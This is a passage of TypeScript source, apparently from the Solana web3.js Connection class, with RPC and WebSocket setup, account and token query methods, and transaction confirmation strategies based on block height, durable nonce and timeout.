SubscriptionConfigHash]: Subscription | undefined;\n } = {};\n /**\n * Special case.\n * After a signature is processed, RPCs automatically dispose of the\n * subscription on the server side. We need to track which of these\n * subscriptions have been disposed in such a way, so that we know\n * whether the client is dealing with a not-yet-processed signature\n * (in which case we must tear down the server subscription) or an\n * already-processed signature (in which case the client can simply\n * clear out the subscription locally without telling the server).\n *\n * NOTE: There is a proposal to eliminate this special case, here:\n * https://github.com/solana-labs/solana/issues/18892\n */\n /** @internal */ private _subscriptionsAutoDisposedByRpc: Set<ServerSubscriptionId> =\n new Set();\n\n /**\n * Establish a JSON RPC connection\n *\n * @param endpoint URL to the fullnode JSON RPC endpoint\n * @param commitmentOrConfig optional default commitment level or optional ConnectionConfig configuration object\n */\n constructor(\n endpoint: string,\n commitmentOrConfig?: Commitment | ConnectionConfig,\n ) {\n let wsEndpoint;\n let httpHeaders;\n let fetch;\n let fetchMiddleware;\n let disableRetryOnRateLimit;\n let httpAgent;\n if (commitmentOrConfig && typeof commitmentOrConfig === 'string') {\n this._commitment = commitmentOrConfig;\n } else if (commitmentOrConfig) {\n this._commitment = commitmentOrConfig.commitment;\n this._confirmTransactionInitialTimeout =\n commitmentOrConfig.confirmTransactionInitialTimeout;\n wsEndpoint = commitmentOrConfig.wsEndpoint;\n httpHeaders = commitmentOrConfig.httpHeaders;\n fetch = commitmentOrConfig.fetch;\n fetchMiddleware = commitmentOrConfig.fetchMiddleware;\n disableRetryOnRateLimit = commitmentOrConfig.disableRetryOnRateLimit;\n httpAgent = commitmentOrConfig.httpAgent;\n }\n\n this._rpcEndpoint = assertEndpointUrl(endpoint);\n this._rpcWsEndpoint = wsEndpoint || makeWebsocketUrl(endpoint);\n\n this._rpcClient = createRpcClient(\n endpoint,\n httpHeaders,\n fetch,\n fetchMiddleware,\n disableRetryOnRateLimit,\n httpAgent,\n );\n this._rpcRequest = createRpcRequest(this._rpcClient);\n this._rpcBatchRequest = createRpcBatchRequest(this._rpcClient);\n\n this._rpcWebSocket = new RpcWebSocketClient(this._rpcWsEndpoint, {\n autoconnect: false,\n max_reconnects: Infinity,\n });\n this._rpcWebSocket.on('open', this._wsOnOpen.bind(this));\n this._rpcWebSocket.on('error', this._wsOnError.bind(this));\n this._rpcWebSocket.on('close', this._wsOnClose.bind(this));\n this._rpcWebSocket.on(\n 'accountNotification',\n this._wsOnAccountNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'programNotification',\n this._wsOnProgramAccountNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'slotNotification',\n this._wsOnSlotNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'slotsUpdatesNotification',\n this._wsOnSlotUpdatesNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'signatureNotification',\n this._wsOnSignatureNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'rootNotification',\n this._wsOnRootNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'logsNotification',\n this._wsOnLogsNotification.bind(this),\n );\n }\n\n /**\n * The default commitment used for requests\n */\n get commitment(): Commitment | undefined {\n return this._commitment;\n }\n\n /**\n * The RPC endpoint\n */\n get rpcEndpoint(): string {\n return this._rpcEndpoint;\n }\n\n /**\n * Fetch the balance for the specified public key, return with context\n */\n async getBalanceAndContext(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetBalanceConfig,\n ): Promise<RpcResponseAndContext<number>> {\n /** @internal */\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [publicKey.toBase58()],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getBalance', args);\n const res = create(unsafeRes, jsonRpcResultAndContext(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get balance for ${publicKey.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the balance for the specified public key\n */\n async getBalance(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetBalanceConfig,\n ): Promise<number> {\n return await this.getBalanceAndContext(publicKey, commitmentOrConfig)\n .then(x => x.value)\n .catch(e => {\n throw new Error(\n 'failed to get balance of account ' + publicKey.toBase58() + ': ' + e,\n );\n });\n }\n\n /**\n * Fetch the estimated production time of a block\n */\n async getBlockTime(slot: number): Promise<number | null> {\n const unsafeRes = await this._rpcRequest('getBlockTime', [slot]);\n const res = create(unsafeRes, jsonRpcResult(nullable(number())));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get block time for slot ${slot}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the lowest slot that the node has information about in its ledger.\n * This value may increase over time if the node is configured to purge older ledger data\n */\n async getMinimumLedgerSlot(): Promise<number> {\n const unsafeRes = await this._rpcRequest('minimumLedgerSlot', []);\n const res = create(unsafeRes, jsonRpcResult(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get minimum ledger slot',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the slot of the lowest confirmed block that has not been purged from the ledger\n */\n async getFirstAvailableBlock(): Promise<number> {\n const unsafeRes = await this._rpcRequest('getFirstAvailableBlock', []);\n const res = create(unsafeRes, SlotRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get first available block',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch information about the current supply\n */\n async getSupply(\n config?: GetSupplyConfig | Commitment,\n ): Promise<RpcResponseAndContext<Supply>> {\n let configArg: GetSupplyConfig = {};\n if (typeof config === 'string') {\n configArg = {commitment: config};\n } else if (config) {\n configArg = {\n ...config,\n commitment: (config && config.commitment) || this.commitment,\n };\n } else {\n configArg = {\n commitment: this.commitment,\n };\n }\n\n const unsafeRes = await this._rpcRequest('getSupply', [configArg]);\n const res = create(unsafeRes, GetSupplyRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get supply');\n }\n return res.result;\n }\n\n /**\n * Fetch the current supply of a token mint\n */\n async getTokenSupply(\n tokenMintAddress: PublicKey,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<TokenAmount>> {\n const args = this._buildArgs([tokenMintAddress.toBase58()], commitment);\n const unsafeRes = await this._rpcRequest('getTokenSupply', args);\n const res = create(unsafeRes, jsonRpcResultAndContext(TokenAmountResult));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get token supply');\n }\n return res.result;\n }\n\n /**\n * Fetch the current balance of a token account\n */\n async getTokenAccountBalance(\n tokenAddress: PublicKey,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<TokenAmount>> {\n const args = this._buildArgs([tokenAddress.toBase58()], commitment);\n const unsafeRes = await this._rpcRequest('getTokenAccountBalance', args);\n const res = create(unsafeRes, jsonRpcResultAndContext(TokenAmountResult));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get token account balance',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the token accounts owned by the specified account\n *\n * @return {Promise<RpcResponseAndContext<GetProgramAccountsResponse>}\n */\n async getTokenAccountsByOwner(\n ownerAddress: PublicKey,\n filter: TokenAccountsFilter,\n commitmentOrConfig?: Commitment | GetTokenAccountsByOwnerConfig,\n ): Promise<RpcResponseAndContext<GetProgramAccountsResponse>> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n let _args: any[] = [ownerAddress.toBase58()];\n if ('mint' in filter) {\n _args.push({mint: filter.mint.toBase58()});\n } else {\n _args.push({programId: filter.programId.toBase58()});\n }\n\n const args = this._buildArgs(_args, commitment, 'base64', config);\n const unsafeRes = await this._rpcRequest('getTokenAccountsByOwner', args);\n const res = create(unsafeRes, GetTokenAccountsByOwner);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get token accounts owned by account ${ownerAddress.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch parsed token accounts owned by the specified account\n *\n * @return {Promise<RpcResponseAndContext<Array<{pubkey: PublicKey, account: AccountInfo<ParsedAccountData>}>>>}\n */\n async getParsedTokenAccountsByOwner(\n ownerAddress: PublicKey,\n filter: TokenAccountsFilter,\n commitment?: Commitment,\n ): Promise<\n RpcResponseAndContext<\n Array<{pubkey: PublicKey; account: AccountInfo<ParsedAccountData>}>\n >\n > {\n let _args: any[] = [ownerAddress.toBase58()];\n if ('mint' in filter) {\n _args.push({mint: filter.mint.toBase58()});\n } else {\n _args.push({programId: filter.programId.toBase58()});\n }\n\n const args = this._buildArgs(_args, commitment, 'jsonParsed');\n const unsafeRes = await this._rpcRequest('getTokenAccountsByOwner', args);\n const res = create(unsafeRes, GetParsedTokenAccountsByOwner);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get token accounts owned by account ${ownerAddress.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the 20 largest accounts with their current balances\n */\n async getLargestAccounts(\n config?: GetLargestAccountsConfig,\n ): Promise<RpcResponseAndContext<Array<AccountBalancePair>>> {\n const arg = {\n ...config,\n commitment: (config && config.commitment) || this.commitment,\n };\n const args = arg.filter || arg.commitment ? [arg] : [];\n const unsafeRes = await this._rpcRequest('getLargestAccounts', args);\n const res = create(unsafeRes, GetLargestAccountsRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get largest accounts');\n }\n return res.result;\n }\n\n /**\n * Fetch the 20 largest token accounts with their current balances\n * for a given mint.\n */\n async getTokenLargestAccounts(\n mintAddress: PublicKey,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<Array<TokenAccountBalancePair>>> {\n const args = this._buildArgs([mintAddress.toBase58()], commitment);\n const unsafeRes = await this._rpcRequest('getTokenLargestAccounts', args);\n const res = create(unsafeRes, GetTokenLargestAccountsResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get token largest accounts',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the account info for the specified public key, return with context\n */\n async getAccountInfoAndContext(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetAccountInfoConfig,\n ): Promise<RpcResponseAndContext<AccountInfo<Buffer> | null>> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [publicKey.toBase58()],\n commitment,\n 'base64',\n config,\n );\n const unsafeRes = await this._rpcRequest('getAccountInfo', args);\n const res = create(\n unsafeRes,\n jsonRpcResultAndContext(nullable(AccountInfoResult)),\n );\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get info about account ${publicKey.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch parsed account info for the specified public key\n */\n async getParsedAccountInfo(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetAccountInfoConfig,\n ): Promise<\n RpcResponseAndContext<AccountInfo<Buffer | ParsedAccountData> | null>\n > {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [publicKey.toBase58()],\n commitment,\n 'jsonParsed',\n config,\n );\n const unsafeRes = await this._rpcRequest('getAccountInfo', args);\n const res = create(\n unsafeRes,\n jsonRpcResultAndContext(nullable(ParsedAccountInfoResult)),\n );\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get info about account ${publicKey.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the account info for the specified public key\n */\n async getAccountInfo(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetAccountInfoConfig,\n ): Promise<AccountInfo<Buffer> | null> {\n try {\n const res = await this.getAccountInfoAndContext(\n publicKey,\n commitmentOrConfig,\n );\n return res.value;\n } catch (e) {\n throw new Error(\n 'failed to get info about account ' + publicKey.toBase58() + ': ' + e,\n );\n }\n }\n\n /**\n * Fetch all the account info for multiple accounts specified by an array of public keys, return with context\n */\n async getMultipleParsedAccounts(\n publicKeys: PublicKey[],\n rawConfig?: GetMultipleAccountsConfig,\n ): Promise<\n RpcResponseAndContext<(AccountInfo<Buffer | ParsedAccountData> | null)[]>\n > {\n const {commitment, config} = extractCommitmentFromConfig(rawConfig);\n const keys = publicKeys.map(key => key.toBase58());\n const args = this._buildArgs([keys], commitment, 'jsonParsed', config);\n const unsafeRes = await this._rpcRequest('getMultipleAccounts', args);\n const res = create(\n unsafeRes,\n jsonRpcResultAndContext(array(nullable(ParsedAccountInfoResult))),\n );\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get info for accounts ${keys}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the account info for multiple accounts specified by an array of public keys, return with context\n */\n async getMultipleAccountsInfoAndContext(\n publicKeys: PublicKey[],\n commitmentOrConfig?: Commitment | GetMultipleAccountsConfig,\n ): Promise<RpcResponseAndContext<(AccountInfo<Buffer> | null)[]>> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const keys = publicKeys.map(key => key.toBase58());\n const args = this._buildArgs([keys], commitment, 'base64', config);\n const unsafeRes = await this._rpcRequest('getMultipleAccounts', args);\n const res = create(\n unsafeRes,\n jsonRpcResultAndContext(array(nullable(AccountInfoResult))),\n );\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get info for accounts ${keys}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the account info for multiple accounts specified by an array of public keys\n */\n async getMultipleAccountsInfo(\n publicKeys: PublicKey[],\n commitmentOrConfig?: Commitment | GetMultipleAccountsConfig,\n ): Promise<(AccountInfo<Buffer> | null)[]> {\n const res = await this.getMultipleAccountsInfoAndContext(\n publicKeys,\n commitmentOrConfig,\n );\n return res.value;\n }\n\n /**\n * Returns epoch activation information for a stake account that has been delegated\n *\n * @deprecated Deprecated since RPC v1.18; will be removed in a future version.\n */\n async getStakeActivation(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetStakeActivationConfig,\n epoch?: number,\n ): Promise<StakeActivationData> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [publicKey.toBase58()],\n commitment,\n undefined /* encoding */,\n {\n ...config,\n epoch: epoch != null ? epoch : config?.epoch,\n },\n );\n\n const unsafeRes = await this._rpcRequest('getStakeActivation', args);\n const res = create(unsafeRes, jsonRpcResult(StakeActivationResult));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get Stake Activation ${publicKey.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the accounts owned by the specified program id\n *\n * @return {Promise<Array<{pubkey: PublicKey, account: AccountInfo<Buffer>}>>}\n */\n async getProgramAccounts(\n programId: PublicKey,\n configOrCommitment: GetProgramAccountsConfig &\n Readonly<{withContext: true}>,\n ): Promise<RpcResponseAndContext<GetProgramAccountsResponse>>;\n // eslint-disable-next-line no-dupe-class-members\n async getProgramAccounts(\n programId: PublicKey,\n configOrCommitment?: GetProgramAccountsConfig | Commitment,\n ): Promise<GetProgramAccountsResponse>;\n // eslint-disable-next-line no-dupe-class-members\n async getProgramAccounts(\n programId: PublicKey,\n configOrCommitment?: GetProgramAccountsConfig | Commitment,\n ): Promise<\n | GetProgramAccountsResponse\n | RpcResponseAndContext<GetProgramAccountsResponse>\n > {\n const {commitment, config} =\n extractCommitmentFromConfig(configOrCommitment);\n const {encoding, ...configWithoutEncoding} = config || {};\n const args = this._buildArgs(\n [programId.toBase58()],\n commitment,\n encoding || 'base64',\n {\n ...configWithoutEncoding,\n ...(configWithoutEncoding.filters\n ? {\n filters: applyDefaultMemcmpEncodingToFilters(\n configWithoutEncoding.filters,\n ),\n }\n : null),\n },\n );\n const unsafeRes = await this._rpcRequest('getProgramAccounts', args);\n const baseSchema = array(KeyedAccountInfoResult);\n const res =\n configWithoutEncoding.withContext === true\n ? create(unsafeRes, jsonRpcResultAndContext(baseSchema))\n : create(unsafeRes, jsonRpcResult(baseSchema));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get accounts owned by program ${programId.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch and parse all the accounts owned by the specified program id\n *\n * @return {Promise<Array<{pubkey: PublicKey, account: AccountInfo<Buffer | ParsedAccountData>}>>}\n */\n async getParsedProgramAccounts(\n programId: PublicKey,\n configOrCommitment?: GetParsedProgramAccountsConfig | Commitment,\n ): Promise<\n Array<{\n pubkey: PublicKey;\n account: AccountInfo<Buffer | ParsedAccountData>;\n }>\n > {\n const {commitment, config} =\n extractCommitmentFromConfig(configOrCommitment);\n const args = this._buildArgs(\n [programId.toBase58()],\n commitment,\n 'jsonParsed',\n config,\n );\n const unsafeRes = await this._rpcRequest('getProgramAccounts', args);\n const res = create(\n unsafeRes,\n jsonRpcResult(array(KeyedParsedAccountInfoResult)),\n );\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get accounts owned by program ${programId.toBase58()}`,\n );\n }\n return res.result;\n }\n\n confirmTransaction(\n strategy: TransactionConfirmationStrategy,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<SignatureResult>>;\n\n /** @deprecated Instead, call `confirmTransaction` and pass in {@link TransactionConfirmationStrategy} */\n // eslint-disable-next-line no-dupe-class-members\n confirmTransaction(\n strategy: TransactionSignature,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<SignatureResult>>;\n\n // eslint-disable-next-line no-dupe-class-members\n async confirmTransaction(\n strategy: TransactionConfirmationStrategy | TransactionSignature,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<SignatureResult>> {\n let rawSignature: string;\n\n if (typeof strategy == 'string') {\n rawSignature = strategy;\n } else {\n const config = strategy as TransactionConfirmationStrategy;\n\n if (config.abortSignal?.aborted) {\n return Promise.reject(config.abortSignal.reason);\n }\n rawSignature = config.signature;\n }\n\n let decodedSignature;\n\n try {\n decodedSignature = bs58.decode(rawSignature);\n } catch (err) {\n throw new Error('signature must be base58 encoded: ' + rawSignature);\n }\n\n assert(decodedSignature.length === 64, 'signature has invalid length');\n\n if (typeof strategy === 'string') {\n return await this.confirmTransactionUsingLegacyTimeoutStrategy({\n commitment: commitment || this.commitment,\n signature: rawSignature,\n });\n } else if ('lastValidBlockHeight' in strategy) {\n return await this.confirmTransactionUsingBlockHeightExceedanceStrategy({\n commitment: commitment || this.commitment,\n strategy,\n });\n } else {\n return await this.confirmTransactionUsingDurableNonceStrategy({\n commitment: commitment || this.commitment,\n strategy,\n });\n }\n }\n\n private getCancellationPromise(signal?: AbortSignal): Promise<never> {\n return new Promise<never>((_, reject) => {\n if (signal == null) {\n return;\n }\n if (signal.aborted) {\n reject(signal.reason);\n } else {\n signal.addEventListener('abort', () => {\n reject(signal.reason);\n });\n }\n });\n }\n\n private getTransactionConfirmationPromise({\n commitment,\n signature,\n }: {\n commitment?: Commitment;\n signature: string;\n }): {\n abortConfirmation(): void;\n confirmationPromise: Promise<{\n __type: TransactionStatus.PROCESSED;\n response: RpcResponseAndContext<SignatureResult>;\n }>;\n } {\n let signatureSubscriptionId: number | undefined;\n let disposeSignatureSubscriptionStateChangeObserver:\n | SubscriptionStateChangeDisposeFn\n | undefined;\n let done = false;\n const confirmationPromise = new Promise<{\n __type: TransactionStatus.PROCESSED;\n response: RpcResponseAndContext<SignatureResult>;\n }>((resolve, reject) => {\n try {\n signatureSubscriptionId = this.onSignature(\n signature,\n (result: SignatureResult, context: Context) => {\n signatureSubscriptionId = undefined;\n const response = {\n context,\n value: result,\n };\n resolve({__type: TransactionStatus.PROCESSED, response});\n },\n commitment,\n );\n const subscriptionSetupPromise = new Promise<void>(\n resolveSubscriptionSetup => {\n if (signatureSubscriptionId == null) {\n resolveSubscriptionSetup();\n } else {\n disposeSignatureSubscriptionStateChangeObserver =\n this._onSubscriptionStateChange(\n signatureSubscriptionId,\n nextState => {\n if (nextState === 'subscribed') {\n resolveSubscriptionSetup();\n }\n },\n );\n }\n },\n );\n (async () => {\n await subscriptionSetupPromise;\n if (done) return;\n const response = await this.getSignatureStatus(signature);\n if (done) return;\n if (response == null) {\n return;\n }\n const {context, value} = response;\n if (value == null) {\n return;\n }\n if (value?.err) {\n reject(value.err);\n } else {\n switch (commitment) {\n case 'confirmed':\n case 'single':\n case 'singleGossip': {\n if (value.confirmationStatus === 'processed') {\n return;\n }\n break;\n }\n case 'finalized':\n case 'max':\n case 'root': {\n if (\n value.confirmationStatus === 'processed' ||\n value.confirmationStatus === 'confirmed'\n ) {\n return;\n }\n break;\n }\n // exhaust enums to ensure full coverage\n case 'processed':\n case 'recent':\n }\n done = true;\n resolve({\n __type: TransactionStatus.PROCESSED,\n response: {\n context,\n value,\n },\n });\n }\n })();\n } catch (err) {\n reject(err);\n }\n });\n const abortConfirmation = () => {\n if (disposeSignatureSubscriptionStateChangeObserver) {\n disposeSignatureSubscriptionStateChangeObserver();\n disposeSignatureSubscriptionStateChangeObserver = undefined;\n }\n if (signatureSubscriptionId != null) {\n this.removeSignatureListener(signatureSubscriptionId);\n signatureSubscriptionId = undefined;\n }\n };\n return {abortConfirmation, confirmationPromise};\n }\n\n private async confirmTransactionUsingBlockHeightExceedanceStrategy({\n commitment,\n strategy: {abortSignal, lastValidBlockHeight, signature},\n }: {\n commitment?: Commitment;\n strategy: BlockheightBasedTransactionConfirmationStrategy;\n }) {\n let done: boolean = false;\n const expiryPromise = new Promise<{\n __type: TransactionStatus.BLOCKHEIGHT_EXCEEDED;\n }>(resolve => {\n const checkBlockHeight = async () => {\n try {\n const blockHeight = await this.getBlockHeight(commitment);\n return blockHeight;\n } catch (_e) {\n return -1;\n }\n };\n (async () => {\n let currentBlockHeight = await checkBlockHeight();\n if (done) return;\n while (currentBlockHeight <= lastValidBlockHeight) {\n await sleep(1000);\n if (done) return;\n currentBlockHeight = await checkBlockHeight();\n if (done) return;\n }\n resolve({__type: TransactionStatus.BLOCKHEIGHT_EXCEEDED});\n })();\n });\n const {abortConfirmation, confirmationPromise} =\n this.getTransactionConfirmationPromise({commitment, signature});\n const cancellationPromise = this.getCancellationPromise(abortSignal);\n let result: RpcResponseAndContext<SignatureResult>;\n try {\n const outcome = await Promise.race([\n cancellationPromise,\n confirmationPromise,\n expiryPromise,\n ]);\n if (outcome.__type === TransactionStatus.PROCESSED) {\n result = outcome.response;\n } else {\n throw new TransactionExpiredBlockheightExceededError(signature);\n }\n } finally {\n done = true;\n abortConfirmation();\n }\n return result;\n }\n\n private async confirmTransactionUsingDurableNonceStrategy({\n commitment,\n strategy: {\n abortSignal,\n minContextSlot,\n nonceAccountPubkey,\n nonceValue,\n signature,\n },\n }: {\n commitment?: Commitment;\n strategy: DurableNonceTransactionConfirmationStrategy;\n }) {\n let done: boolean = false;\n const expiryPromise = new Promise<{\n __type: TransactionStatus.NONCE_INVALID;\n slotInWhichNonceDidAdvance: number | null;\n }>(resolve => {\n let currentNonceValue: string | undefined = nonceValue;\n let lastCheckedSlot: number | null = null;\n const getCurrentNonceValue = async () => {\n try {\n const {context, value: nonceAccount} = await this.getNonceAndContext(\n nonceAccountPubkey,\n {\n commitment,\n minContextSlot,\n },\n );\n lastCheckedSlot = context.slot;\n return nonceAccount?.nonce;\n } catch (e) {\n // If for whatever reason we can't reach/read the nonce\n // account, just keep using the last-known value.\n return currentNonceValue;\n }\n };\n (async () => {\n currentNonceValue = await getCurrentNonceValue();\n if (done) return;\n while (\n true // eslint-disable-line no-constant-condition\n ) {\n if (nonceValue !== currentNonceValue) {\n resolve({\n __type: TransactionStatus.NONCE_INVALID,\n slotInWhichNonceDidAdvance: lastCheckedSlot,\n });\n return;\n }\n await sleep(2000);\n if (done) return;\n currentNonceValue = await getCurrentNonceValue();\n if (done) return;\n }\n })();\n });\n const {abortConfirmation, confirmationPromise} =\n this.getTransactionConfirmationPromise({commitment, signature});\n const cancellationPromise = this.getCancellationPromise(abortSignal);\n let result: RpcResponseAndContext<SignatureResult>;\n try {\n const outcome = await Promise.race([\n cancellationPromise,\n confirmationPromise,\n expiryPromise,\n ]);\n if (outcome.__type === TransactionStatus.PROCESSED) {\n result = outcome.response;\n } else {\n // Double check that the transaction is indeed unconfirmed.\n let signatureStatus:\n | RpcResponseAndContext<SignatureStatus | null>\n | null\n | undefined;\n while (\n true // eslint-disable-line no-constant-condition\n ) {\n const status = await this.getSignatureStatus(signature);\n if (status == null) {\n break;\n }\n if (\n status.context.slot <\n (outcome.slotInWhichNonceDidAdvance ?? minContextSlot)\n ) {\n await sleep(400);\n continue;\n }\n signatureStatus = status;\n break;\n }\n if (signatureStatus?.value) {\n const commitmentForStatus = commitment || 'finalized';\n const {confirmationStatus} = signatureStatus.value;\n switch (commitmentForStatus) {\n case 'processed':\n case 'recent':\n if (\n confirmationStatus !== 'processed' &&\n confirmationStatus !== 'confirmed' &&\n confirmationStatus !== 'finalized'\n ) {\n throw new TransactionExpiredNonceInvalidError(signature);\n }\n break;\n case 'confirmed':\n case 'single':\n case 'singleGossip':\n if (\n confirmationStatus !== 'confirmed' &&\n confirmationStatus !== 'finalized'\n ) {\n throw new TransactionExpiredNonceInvalidError(signature);\n }\n break;\n case 'finalized':\n case 'max':\n case 'root':\n if (confirmationStatus !== 'finalized') {\n throw new TransactionExpiredNonceInvalidError(signature);\n }\n break;\n default:\n // Exhaustive switch.\n // eslint-disable-next-line @typescript-eslint/no-unused-vars\n ((_: never) => {})(commitmentForStatus);\n }\n result = {\n context: signatureStatus.context,\n value: {err: signatureStatus.value.err},\n };\n } else {\n throw new TransactionExpiredNonceInvalidError(signature);\n }\n }\n } finally {\n done = true;\n abortConfirmation();\n }\n return result;\n }\n\n private async confirmTransactionUsingLegacyTimeoutStrategy({\n commitment,\n signature,\n }: {\n commitment?: Commitment;\n signature: string;\n }) {\n let timeoutId;\n const expiryPromise = new Promise<{\n __type: TransactionStatus.TIMED_OUT;\n timeoutMs: number;\n }>(resolve => {\n let timeoutMs = this._confirmTransactionInitialTimeout || 60 * 1000;\n switch (commitment) {\n case 'processed':\n case 'recent':\n case 'single':\n case 'confirmed':\n case 'singleGossip': {\n timeoutMs = this._confirmTransactionInitialTimeout || 30 * 1000;\n break;\n }\n // exhaust enums to ensure full coverage\n case 'finalized':\n case 'max':\n case 'root':\n }\n timeoutId = setTimeout(\n () => resolve({__type: TransactionStatus.TIMED_OUT, timeoutMs}),\n timeoutMs,\n );\n });\n const {abortConfirmation, confirmationPromise} =\n this.getTransactionConfirmationPromise({\n commitment,\n signature,\n });\n let result: RpcResponseAndContext<SignatureResult>;\n try {\n const outcome = await Promise.race([confirmationPromise, expiryPromise]);\n if (outcome.__type === TransactionStatus.PROCESSED) {\n result = outcome.response;\n } else {\n throw new TransactionExpiredTimeoutError(\n signature,\n outcome.timeoutMs / 1000,\n );\n }\n } finally {\n clearTimeout(timeoutId);\n abortConfirmation();\n }\n return result;\n }\n\n /**\n * Return the list of nodes that are currently participating in the cluster\n */\n async getClusterNodes(): Promise<Array<ContactInfo>> {\n const unsafeRes = await this._rpcRequest('getClusterNodes', []);\n const res = create(unsafeRes, jsonRpcResult(array(ContactInfoResult)));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get cluster nodes');\n }\n return res.result;\n }\n\n /**\n * Return the list of nodes that are currently participating in the cluster\n */\n async getVoteAccounts(commitment?: Commitment): Promise<VoteAccountStatus> {\n const args = this._buildArgs([], commitment);\n const unsafeRes = await this._rpcRequest('getVoteAccounts', args);\n const res = create(unsafeRes, GetVoteAccounts);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get vote accounts');\n }\n return res.result;\n }\n\n /**\n * Fetch the current slot that the node is processing\n */\n async getSlot(\n commitmentOrConfig?: Commitment | GetSlotConfig,\n ): Promise<number> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getSlot', args);\n const res = create(unsafeRes, jsonRpcResult(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get slot');\n }\n return res.result;\n }\n\n /**\n * Fetch the current slot leader of the cluster\n */\n async getSlotLeader(\n commitmentOrConfig?: Commitment | GetSlotLeaderConfig,\n ): Promise<string> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getSlotLeader', args);\n const res = create(unsafeRes, jsonRpcResult(string()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get slot leader');\n }\n return res.result;\n }\n\n /**\n * Fetch `limit` number of slot leaders starting from `startSlot`\n *\n * @param startSlot fetch slot leaders starting from this slot\n * @param limit number of slot leaders to return\n */\n async getSlotLeaders(\n startSlot: number,\n limit: number,\n ): Promise<Array<PublicKey>> {\n const args = [startSlot, limit];\n const unsafeRes = await this._rpcRequest('getSlotLeaders', args);\n const res = create(unsafeRes, jsonRpcResult(array(PublicKeyFromString)));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get slot leaders');\n }\n return res.result;\n }\n\n /**\n * Fetch the current status of a signature\n */\n async getSignatureStatus(\n signature: TransactionSignature,\n config?: SignatureStatusConfig,\n ): Promise<RpcResponseAndContext<SignatureStatus | null>> {\n const {context, value: values} = await this.getSignatureStatuses(\n [signature],\n config,\n );\n assert(values.length === 1);\n const value = values[0];\n return {context, value};\n }\n\n /**\n * Fetch the current statuses of a batch of signatures\n */\n async getSignatureStatuses(\n signatures: Array<TransactionSignature>,\n config?: SignatureStatusConfig,\n ): 